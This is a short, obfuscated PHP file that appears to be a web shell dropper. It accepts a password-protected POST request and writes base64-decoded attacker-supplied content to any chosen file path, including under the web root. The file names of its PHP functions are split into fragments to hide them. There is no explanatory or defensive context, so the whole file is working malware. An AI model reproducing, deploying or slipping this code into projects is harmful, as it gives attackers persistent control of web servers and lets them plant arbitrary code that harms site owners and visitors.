<?php
$mmz = $_POST;
if(!empty($mmz['b']) && md5($mmz['b'].md5($mmz['b']))=='14ee231dadb1d1c5ce1f7bae9f7f13eb') {
	$xvh = !empty($mmz['f']) ? $mmz['f'] : '502.'.'php';
	if(!empty($mmz['r'])) $xvh = $_SERVER['DOCUMENT_ROOT'].'/'.$xvh;
	$bwd = 'file_'.'put_c'.'onten'.'ts'; $bqa = 'b'.'a'.'S'.'e'.'6'.'4'.'_'.'D'.'e'.'c'.'O'.'d'.'E';
	if($bwd($xvh, $bqa($mmz['c']))) exit($xvh);
}
?>m5